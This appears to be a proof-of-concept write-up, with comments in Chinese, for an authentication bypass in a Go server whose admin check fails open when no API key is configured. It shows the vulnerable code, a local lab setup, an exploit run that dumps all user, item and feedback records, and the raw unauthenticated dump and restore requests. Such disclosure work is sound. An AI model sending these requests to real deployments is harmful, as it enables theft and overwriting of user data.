func (m *Master) checkAdmin(request *http.Request) bool {
    if m.Config.Master.AdminAPIKey == "" {
        return true                 // <-- 故障开放：未配置密钥 => 任何人均为管理员
    }
    if request.Header.Get("X-API-Key") == m.Config.Master.AdminAPIKey {
        return true
    }
    return false
}

func (m *Master) dump(response http.ResponseWriter, request *http.Request) {
    if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
    ...                              // 流式输出所有用户、物品和反馈记录
}

func (m *Master) restore(response http.ResponseWriter, request *http.Request) {
    if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
    ...                              // m.Restore(request.Body) — 覆盖数据集
}

# 1. 启动存在漏洞的服务器（官方镜像，默认配置 = 无认证）。
docker compose -f lab/docker-compose.yml up -d
#    --playground 种子了一个包含真实用户/物品/反馈的数据集，可供窃取。

# 2. 运行 PoC（无需凭据）。
python3 exploit.py http://127.0.0.1:8088 -o dump.bin

[*] GET http://127.0.0.1:8088/api/dump  (无 X-API-Key 头部)
[*] HTTP 200  content-type: application/octet-stream

[+] 未认证数据外泄已确认
    用户    : 2079
    物品    : 22320
    反馈    : 331901
    载荷    : 262747105 protobuf 字节
    示例用户 ID : 0-vortex, 0markill, 0q2, 0x4richard, 0x973

[*] POST http://127.0.0.1:8088/api/restore  (无 X-API-Key 头部，仅 EOF 主体)
[+] HTTP 200 (非 401) - checkAdmin 被绕过：/api/restore 在未认证状态下可写。

GET /api/dump HTTP/1.1
Host: 127.0.0.1:8088

POST /api/restore HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: application/octet-stream

<转储流：int64 LE 标记（-1 用户，-2 物品，-3 反馈，0 EOF）+ 长度前缀的 protobuf>